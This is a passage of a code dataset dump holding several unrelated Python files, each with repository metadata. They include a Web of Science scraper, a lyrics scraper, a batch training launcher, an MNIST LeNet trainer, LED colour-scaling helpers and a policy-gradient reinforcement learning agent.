workbook.save(filepath+'.xlsx')\r\n\r\ndef savepage_pywin32():\r\n win32api.keybd_event(17, 0, 0, 0) # 按下ctrl\r\n win32api.keybd_event(83, 0, 0, 0) # 按下s\r\n win32api.keybd_event(83, 0, win32con.KEYEVENTF_KEYUP, 0) # 释放s\r\n\r\n sleep(1)\r\n\r\n win32api.keybd_event(86, 0, 0, 0) # 按下v\r\n win32api.keybd_event(17, 0, win32con.KEYEVENTF_KEYUP, 0) # 释放ctrl\r\n\r\n sleep(1)\r\n win32api.keybd_event(13, 0, 0, 0) # 按下enter\r\n win32api.keybd_event(13, 0, win32con.KEYEVENTF_KEYUP, 0) # 释放enter\r\n\r\ndef search(kw):\r\n #seach in sci\r\n search_input=brs.find_element_by_xpath('//input[@data-ta=\"search-criteria-input\"]') \r\n try: \r\n wind=brs.find_element_by_id('pendo-close-guide-8fdced48')\r\n wind.click() #find serch box\r\n search_input.click()\r\n search_input.clear()\r\n search_input.send_keys(kw) \r\n search_input.send_keys(Keys.ENTER) #input keywords\r\n butn=brs.find_element_by_xpath('//span[@class=\"mat-button-wrapper\"]') #find search button\r\n butn.click() \r\n except:\r\n search_input.click()\r\n search_input.clear()\r\n search_input.send_keys(kw) \r\n search_input.send_keys(Keys.ENTER) #input keywords\r\n butn=brs.find_element_by_xpath('//span[@class=\"mat-button-wrapper\"]') #find search button\r\n butn.click() #click serch button and serch \r\n\r\ndef closewind(s):\r\n brs.find_element_by_id(s).click\r\n\r\ndef getpaper_wos_url(source):\r\n tree=etree.HTML(source)\r\n download=tree.xpath('//app-records-list//a[@data-ta=\"summary-record-title-link\"]/@href')[0]\r\n Download='https://www.webofscience.com'+download\r\n return Download\r\n\r\ndef getHTML(url,headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36'}):\r\n c=requests.get(url=url,headers=headers).content\r\n return c\r\n\r\ndef getfulltext_url(page):\r\n tree=etree.HTML(page)\r\n c=tree.xpath('//app-full-record-links//a/@href')[0]\r\n return c\r\n\r\ndef getsource(url,broser):\r\n broser.get(url)\r\n page_text=broser.page_source\r\n print('page_souce load successful')\r\n return page_text\r\n\r\ndef SaveHtml(HTML,Filename):\r\n if not os.path.exists('./paper/HTML'):\r\n os.makedirs('./paper/HTML')\r\n Filename=Filename+'.html'\r\n with open('./paper/HTML/'+Filename,'wb',encoding='utf-8') as fp:\r\n fp.write(HTML)\r\n return 'save successful'\r\n\r\n\r\ndef judge_filename(n):\r\n c=n-n%50\r\n # print(c)\r\n d=c+50\r\n X=str(c)+'-'+str(d)+'/'\r\n return X\r\n\r\n\r\n\r\nclass paper:\r\n def __init__(self,n,name,wos,url):\r\n self.n=n\r\n self.name=name\r\n self.wos=wos\r\n self.url=url\r\n\r\n\r\n\r\n\r\nbrs = webdriver.Chrome(executable_path='./chromedriver/chromedriver')\r\n# brs.quit()\r\nurl='https://www.webofscience.com/wos/woscc/basic-search'\r\n", "sub_path": "paper-ssr1.0/#code/defination.py", "file_name": "defination.py", "file_ext": "py", "file_size_in_byte": 4473, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "xlrd.open_workbook", "line_number": 15, "usage_type": "call"}, {"api_name": "xlrd.open_workbook", "line_number": 25, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 40, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 54, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 55, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 56, "usage_type": "call"}, {"api_name": "win32con.KEYEVENTF_KEYUP", "line_number": 56, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 60, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 61, "usage_type": "call"}, {"api_name": "win32con.KEYEVENTF_KEYUP", "line_number": 61, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 64, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 65, "usage_type": "call"}, {"api_name": "win32con.KEYEVENTF_KEYUP", "line_number": 65, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 76, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 76, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 83, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 83, "usage_type": "name"}, {"api_name": "lxml.etree.HTML", "line_number": 91, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 91, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 97, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 101, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 101, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 113, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 139, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 139, "usage_type": "name"}]} +{"seq_id": "171700392", "text": "from bs4 import BeautifulSoup\nfrom requests import get\nfrom requests.exceptions import RequestException\nfrom contextlib import closing\n\n\nheaders = {\n\t\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36\"\n}\n\ndef make_url_metro(song_title, artist_name):\n\treturn 'http://www.metrolyrics.com/' + song_title.replace(' ', '-') + '-lyrics-' + artist_name.replace(' ', '-')\n\ndef make_url_az(song_title, artist_name):\n\treturn f'https://www.azlyrics.com/lyrics/{artist_name}/{song_title}.html'\n\ndef simple_get(url):\n\ttry:\n\t\twith closing(get(url, headers=headers)) as resp:\n\t\t\t# print(resp.status_code, resp.history)\n\t\t\tif resp.status_code == 200:\n\t\t\t\tif not resp.history:\n\t\t\t\t\treturn resp.content\n\t\t\t\telif resp.history[0].status_code == 301:\n\t\t\t\t\treturn resp.content\n\t\t\t\telse:\n\t\t\t\t\tprint('Redirection -> 302: lyrics not found!')\n\t\t\t\t\treturn None\n\t\t\telse:\n\t\t\t\tprint('Err -> 404: lyrics not found!')\n\t\t\t\treturn None\n\n\texcept RequestException:\n\t\tprint('Internet connection is needed to download the lyrics')\n\t\treturn None\n\n\ndef lyricsFinderMetro(song_title, artist_name):\n\turl = make_url_metro(song_title.strip(), artist_name.strip())\n\traw_html = simple_get(url)\n\tif raw_html is None:\n\t\tprint('lyrics Not Found.')\n\t\treturn None\n\n\thtml = BeautifulSoup(raw_html, 'html.parser')\n\t\n\tlyrics = ''\n\n\tfor p in html.select('p'):\n\t\ts = [str(i) for i in p.contents]\n\t\ts = ''.join(s)\n\t\ts = s.replace('
', '

')\n\t\tif p.has_attr('class') and p['class'][0] == 'verse':\n\t\t\tlyrics += '

{}

'.format(s)\n\t\t\tif p.findAll('br'):\n\t\t\t\tlyrics += '
'\n\n\treturn lyrics\n\n\ndef lyricsFinderAz(song_title, artist_name):\n\tsong_title = song_title.replace(\"'\", \"\")\n\tsong_title = ''.join(song_title.strip().lower().split())\n\tartist_name = ''.join(artist_name.strip().lower().split())\n\tprint(song_title, artist_name)\n\turl = make_url_az(song_title, artist_name)\n\traw_html = simple_get(url)\n\tif raw_html is None:\n\t\tprint('lyrics Not Found.')\n\t\treturn None\n\n\thtml = BeautifulSoup(raw_html, 'html.parser')\n\n\tlyrics = ''\n\tfor div in html.select('div'):\n\t\tif not div.has_attr('class'):\n\t\t\tlyrics = str(div)\n\n\treturn lyrics\n\n\n\n\n\n\n\n", "sub_path": "friends_fire/lyricsFinder.py", "file_name": "lyricsFinder.py", "file_ext": "py", "file_size_in_byte": 2196, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "contextlib.closing", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.exceptions.RequestException", "line_number": 33, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 45, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "521388867", "text": "import argparse\nimport os\nimport datetime\nimport json\nimport subprocess\n\ndef create_cmd(data, path):\n cmd = (\"python3 train.py -g \"+data[\"game\"]+\" -df \"+path+\"/\"+\n \" --e \"+str(data[\"e\"])+\n \" --alpha \"+str(data[\"alpha\"])+\n \" -lr \"+str(data[\"initial_lr\"])+\n \" -lra \"+str(data[\"lr_annealing_steps\"])+\n \" --entropy \"+str(data[\"entropy_regularisation_strength\"])+\n \" --clip_norm \"+str(data[\"clip_norm\"])+\n \" --clip_norm_type \"+str(data[\"clip_norm_type\"])+\n \" --gamma \"+str(data[\"gamma\"])+\n \" --max_global_steps \"+str(data[\"max_global_steps\"])+\n \" --max_local_steps \"+str(data[\"max_local_steps\"])+\n \" --arch \"+str(data[\"arch\"])+\n \" -ec \"+str(data[\"emulator_counts\"])+\n \" -ew \"+str(data[\"emulator_workers\"])+\n \" --epsilon \"+str(data[\"epsilon\"])+\n \" --softmax_temp \"+str(data[\"softmax_temp\"])+\n \" --annealed_steps \"+str(data[\"annealed_steps\"])+\n \" --keep_percentage \"+str(data[\"keep_percentage\"])+\n \" --max_repetition \"+str(data[\"max_repetition\"])+\n \" --nb_choices \"+str(data[\"nb_choices\"])+\n \" --checkpoint_interval \"+str(data[\"checkpoint_interval\"])+\n \" --activation \"+str(data[\"activation\"])+\n \" --alpha_leaky_relu \"+str(data[\"alpha_leaky_relu\"]))\n if data[\"single_life_episodes\"] : cmd += \" --single_life_episodes\"\n if data[\"random_start\"] : cmd += \" --random_start\"\n if data[\"egreedy\"] : cmd += \" --egreedy\"\n if data[\"annealed\"] : cmd += \" --annealed\"\n if data[\"rgb\"] : cmd += \" --rgb\"\n return cmd\n\ndef create_chpt_cmd(args, path):\n cmd = (\"nohup python3 scripts/checkpoints.py \"+\n \" -df \"+path+\"/\"\n \" -t \"+str(args.time)+\n \" &> nohupLogs/saveCheckpoints.out &\")\n return cmd\n\n\ndef main(args):\n pathSrc = args.folder\n for folder in os.listdir(pathSrc):\n i = datetime.datetime.now()\n path = args.destination+str(i.year)+\"-\"+str(i.month)+\"-\"+str(i.day)+\"-\"+folder\n if not os.path.exists(path):\n os.makedirs(path)\n for f in os.listdir(pathSrc+\"/\"+folder):\n with open(pathSrc+\"/\"+folder+\"/\"+f, 'r') as d :\n data = json.load(d)\n pathDest = path + \"/\"+f[:-5]\n subprocess.call(create_chpt_cmd(args, pathDest), shell = True)\n subprocess.call(create_cmd(data, pathDest), shell = True)\n subprocess.call((\"touch \"+pathDest+\"/checkpoints_saved/STOP\"), shell = True)\n\n\ndef get_arg_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('-f', default='toTrain', type=str,\n help='Folder where to find the JSON files with the training options', dest='folder')\n parser.add_argument('-t', default=1800, type=int,\n help='Period of time btw checkpoints save', dest='time')\n parser.add_argument('-d', default='logs/', type=str,\n help='Folder where to save the training information', dest='destination')\n return parser\n\nif __name__ == '__main__':\n args = get_arg_parser().parse_args()\n main(args)\n", "sub_path": "scripts/batchTrain.py", "file_name": "batchTrain.py", "file_ext": "py", "file_size_in_byte": 3306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.listdir", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 52, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 53, "usage_type": "call"}, {"api_name": "json.load", "line_number": 55, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 57, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 58, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 59, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "462920404", "text": "#%%\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as functional\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nimport torchvision\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nimport cv2\n\nbatch_size = 100\n#%%\n# train dataset\ntrain_dataset = datasets.MNIST(root='./num/',\n train=True,\n transform=transforms.ToTensor(),\n download=True)\n# test dataset\ntest_dataset = datasets.MNIST(root='./num/',\n train=False,\n transform=transforms.ToTensor(),\n download=True)\n\n#%%\n# Dataset to load dataset name\n# Batch_size to set image number\n# In the loading the dataset will be shuffle and be packed\n\n# Load the train_dataset\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=batch_size,\n shuffle=True)\n# Load the test_dataset\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n batch_size=batch_size,\n shuffle=True)\n\n# Build a dataLoader\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=batch_size,\n shuffle=True)\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n batch_size=batch_size,\n shuffle=True)\n\n\n#%% Make the single image visual\nimages, labels = next(iter(train_loader))\nimg = torchvision.utils.make_grid(images)\n\nimg = img.numpy().transpose(1, 2, 0)\nstd = [0.5, 0.5, 0.5]\nmean = [0.5, 0.5, 0.5]\nimg = img * std + mean\nprint(labels)\ncv2.imshow('win', img)\nkey_pressed = cv2.waitKey(0)\n\n#%%\n# Convolution layer use torch.nn.Conv2d\n# Activating layer use torch.nn.ReLU\n# Pooling layer use torch.nn.MaxPool2d\n# Max_connection layer use torch.nn.Linear\n\nclass LeNet(nn.Module):\n def __init__(self):\n super(LeNet, self).__init__()\n self.conv1 = nn.Sequential(nn.Conv2d(1, 6, 3, 1, 2), nn.ReLU(),\n nn.MaxPool2d(2, 2))\n\n self.conv2 = nn.Sequential(nn.Conv2d(6, 16, 5), nn.ReLU(),\n nn.MaxPool2d(2, 2))\n\n self.fc1 = nn.Sequential(nn.Linear(16 * 5 * 5, 120),\n nn.BatchNorm1d(120), nn.ReLU())\n\n self.fc2 = nn.Sequential(\n nn.Linear(120, 84),\n nn.BatchNorm1d(84),\n nn.ReLU(),\n nn.Linear(84, 10)) # the 10 is because of the label between 0-9\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = x.view(x.size()[0], -1)\n x = self.fc1(x)\n x = self.fc2(x)\n return x\n\n#%%\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nbatch_size = 64\nLR = 0.001\n\nnet = LeNet().to(device)\n# Loss function use the cross entropy loss\ncriterion = nn.CrossEntropyLoss()\n# optimizer use the adam adaptive optimization algorithm\noptimizer = optim.Adam(net.parameters(), lr=LR,)\n\nepoch = 1\nif __name__ == '__main__':\n for epoch in range(epoch):\n sum_loss = 0.0\n for i, data in enumerate(train_loader):\n inputs, labels = data\n inputs, labels = Variable(inputs).cuda(), Variable(labels).cuda()\n optimizer.zero_grad() # Make the gradient to zero\n outputs = net(inputs) # Make the data into the net and forward\n loss = criterion(outputs, labels) # Get the loss function\n loss.backward() # backward broadcast\n optimizer.step() # update the para by the gradient\n\n # print(loss)\n sum_loss += loss.item()\n if i % 100 == 99:\n print('[%d,%d] loss:%.03f' %\n (epoch + 1, i + 1, sum_loss / 100))\n sum_loss = 0.0\n\n#%% Test model\nnet.eval()\ncorrect = 0\ntotal = 0\nfor data_test in test_loader:\n images, labels = data_test\n images, labels = Variable(images).cuda(), Variable(labels).cuda()\n output_test = net(images)\n _, predicted = torch.max(output_test, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum()\nprint(\"correct1: \", correct)\nprint(\"Test acc: {0}\".format(correct.item() / len(test_dataset)))\n\n", "sub_path": "train_mnist.py", "file_name": "train_mnist.py", "file_ext": "py", "file_size_in_byte": 4492, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torchvision.datasets.MNIST", "line_number": 15, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 15, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 17, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 17, "usage_type": "name"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 20, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 31, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torchvision.utils.make_grid", "line_number": 50, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 93, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 101, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 131, "usage_type": "call"}]} +{"seq_id": "315667420", "text": "\n# coding: utf-8\n\n# In[2]:\n\nimport numpy as np\nimport csv\nimport time\n#import matplotlib\n#import matplotlib.pyplot as plt\nimport datetime\n#import pandas as pd\nfrom LEDsetup import *\n\n\n# ### Open datafiles\n\n# In[31]:\n\ndef OpenDailyData(filename):\n time_stamp = []\n value = []\n with open(filename) as f:\n cf = csv.DictReader(f, fieldnames=['time_stamp', 'value'])\n for row in cf:\n try:\n time_stamp.append(datetime.datetime.strptime(row['time_stamp'], \"%Y-%m-%d\"))\n \n except:\n time_stamp.append(datetime.datetime.strptime(row['time_stamp'], \"%Y-%m-%d %H:%M:%S\"))\n value.append(float(row['value']))\n \n \n return(time_stamp, value)\n\n\n# In[ ]:\n\ndef OpenMonthlyData(filename):\n month = []\n year = []\n value = []\n with open(filename) as f:\n cf = csv.DictReader(f, fieldnames=['month','year', 'value'])\n for row in cf:\n #print(row)\n month.append(row['month'])\n year.append(row['year'])\n value.append(float(row['value']))\n \n \n return(month, year, value)\n\n\n# ### Generating color scale\n\n# In[19]:\n\n#def ColorScale(steps, color1, color2):\n #clrs = []\n #inc = 1/(steps-1)\n #print(inc)\n \n #for i in range(steps):\n #new_color = (int(color1[0]*i*inc+color2[0]*(steps-i-1)*inc),\n #int(color1[1]*i*inc+color2[1]*(steps-i-1)*inc), \n #int(color1[2]*i*inc+color2[2]*(steps-i-1)*inc))\n #print(new_color)\n #clrs.append(new_color)\n\n \n #return clrs\n\n\n\n# In[22]:\n\ndef ColorScaler(color_low, color_high, value, min_value = 0, max_value = 0):\n if((min_value == 0) & (max_value == 0)):\n min_value = min(value)\n max_value = max(value)\n clr_data = []\n \n for val in value:\n ratio = (val - min_value)/(max_value-min_value)\n new_color = (int(color_high[0]*ratio+color_low[0]*(1-ratio)),\n int(color_high[1]*ratio+color_low[1]*(1-ratio)), \n int(color_high[2]*ratio+color_low[2]*(1-ratio)))\n #print(new_color)\n clr_data.append(new_color)\n \n return clr_data\n\n\n# In[26]:\n\ndef NumScaler(led1, led2, value, min_value = 0, max_value = 0):\n if((min_value == 0) & (max_value == 0)):\n min_value = min(value)\n max_value = max(value)\n \n num_data = []\n \n for val in value:\n ratio = (val - min_value)/(max_value-min_value)\n new_num = led1 + int((led2-led1)*ratio)\n num_data.append(new_num)\n\n \n return num_data\n\n\n# In[28]:\n\ndef Flash(num_flashes, delay, color, led1 = 0, led2 = 79):\n for i in range(num_flashes):\n led.fill(color, led1, led2)\n led.update()\n time.sleep(delay)\n led.fill((0,0,0), led1, led2)\n led.update()\n time.sleep(delay)\n\n\n\n# In[ ]:\n\ndef Pulse(num_pulses, color, led1 = 0, led2 = 79):\n ## Step-up intensity by 10% increments, then step down by the same every 0.1 seconds. total time = 2 sec\n \n intensity = np.arange(0,1.1,0.1) \n\n for i in intensity:\n color_new = (int(color[0]*i),int(color[1]*i),int(color[2]*i)) \n # There is probably a more elegant way to do this.. \n #print color_new\n led.fill(color_new, led1, led2)\n led.update()\n time.sleep(0.1)\n\n for i in reversed(intensity):\n color_new = (int(color[0]*i),int(color[1]*i),int(color[2]*i)) \n #print color_new\n led.fill(color_new, led1, led2)\n led.update()\n time.sleep(0.1) \n\n", "sub_path": "DunnePilot/DataFunctions.py", "file_name": "DataFunctions.py", "file_ext": "py", "file_size_in_byte": 3612, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "csv.DictReader", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 44, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 119, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 131, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 139, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 146, "usage_type": "call"}]} +{"seq_id": "10027459", "text": "import os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport numpy as np\nfrom gym import logger\nfrom .utils import plot_figure, check_reward, discount_reward, weight_init\n\n\nclass PGNet(nn.Module):\n def __init__(self, input_dims, fc1_dims, fc2_dims, n_actions):\n super(PGNet, self).__init__()\n self.fc1 = nn.Linear(input_dims, fc1_dims)\n self.fc2 = nn.Linear(fc1_dims, fc2_dims)\n self.fc3 = nn.Linear(fc2_dims, n_actions)\n\n def forward(self, observation):\n x = F.relu(self.fc1(observation))\n x = F.relu(self.fc2(x))\n out = self.fc3(x)\n return out\n\n\nclass PGAgent(object):\n def __init__(self, lr, input_dims, n_actions, env_name,\n ckpt_save_path, gamma=0.99, fc1_dims=128, fc2_dims=256):\n self.reward_memory = []\n self.action_memory = []\n self.score_history = [] # episode history for plot\n self.gamma = gamma # discount factor\n self.cur_episode = 0\n self.env_name = env_name\n self.agent_name = f\"PG_{env_name}\"\n self.ckpt_save_path = ckpt_save_path\n self.actor = PGNet(input_dims, fc1_dims, fc2_dims, n_actions)\n self.actor.apply(weight_init)\n self.optimizer = optim.Adam(self.actor.parameters(), lr=lr)\n self.device = torch.device(\n 'cuda:0' if torch.cuda.is_available() else 'cpu')\n self.actor.to(self.device)\n\n def __str__(self):\n return self.agent_name\n\n def predict(self, observation):\n x = torch.Tensor(observation).to(self.device)\n probabilities = F.softmax(self.actor.forward(x), dim=-1)\n action_probs = torch.distributions.Categorical(probabilities)\n action = action_probs.sample()\n log_probs = action_probs.log_prob(action)\n self.action_memory.append(log_probs)\n\n return action.item()\n\n def store_rewards(self, reward):\n self.reward_memory.append(reward)\n\n def choose_action(self, observation):\n x = torch.Tensor(observation).to(self.device)\n _, action = torch.max(self.actor.forward(x), dim=-1)\n return action.item()\n\n def clear_memory(self):\n self.action_memory = []\n self.reward_memory = []\n\n def save_model(self, path, episode):\n torch.save({\n 'model_state_dict': self.actor.state_dict(),\n 'optimizer_state_dict': self.optimizer.state_dict(),\n 'cur_episode': episode\n }, path)\n\n def load_model(self, path, test=False):\n checkpoint = torch.load(path)\n self.actor.load_state_dict(checkpoint['model_state_dict'])\n self.optimizer.load_state_dict(\n checkpoint['optimizer_state_dict'])\n self.cur_episode = checkpoint['cur_episode']\n if test:\n self.actor.eval()\n else:\n self.actor.train()\n\n def learn(self):\n self.optimizer.zero_grad()\n\n # Calcualte discount reward G[]\n G = discount_reward(self.reward_memory, self.gamma)\n\n # Normalize\n mean = np.mean(G)\n std = np.std(G) if np.std(G) > 0 else 1\n G = (G - mean) / std\n\n loss = 0\n for g, logprob in zip(G, self.action_memory):\n loss += -g * logprob\n\n loss.backward()\n self.optimizer.step()\n\n self.clear_memory()\n\n def train(self, env, episodes):\n max_score = -514229\n total_step = 0\n for eps in range(self.cur_episode, episodes):\n state = env.reset()\n score = 0\n done = False\n episode_step = 0\n while not done:\n action = self.predict(state)\n state_, reward, done, _ = env.step(action)\n episode_step += 1\n total_step += 1\n score += reward\n reward = check_reward(\n self.env_name, state, action, reward, state_, done\n )\n self.store_rewards(reward)\n state = state_\n\n self.score_history.append(score)\n max_score = score if score > max_score else max_score\n if score > -1.0 * episode_step:\n self.learn()\n logger.info(\n f\" == episode: {eps+1}, score: {score}, max score: {max_score}\")\n else:\n self.clear_memory()\n\n if (eps + 1) % 100 == 0:\n ckpt_name = os.path.join(\n self.ckpt_save_path, f\"ckpt_{eps}.pth\")\n self.save_model(ckpt_name, eps)\n logger.info(f\" == model {ckpt_name} saved\")\n\n ckpt_name = os.path.join(self.ckpt_save_path, \"ckpt_final.pth\")\n self.save_model(ckpt_name, eps)\n logger.info(f\" == model {ckpt_name} saved\")\n figure_name = os.path.join(\n self.ckpt_save_path, f\"{self.agent_name}.png\")\n plot_figure(figure_name, self.score_history)\n", "sub_path": "models/reinforce.py", "file_name": "reinforce.py", "file_ext": "py", "file_size_in_byte": 4950, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 19, "usage_type": 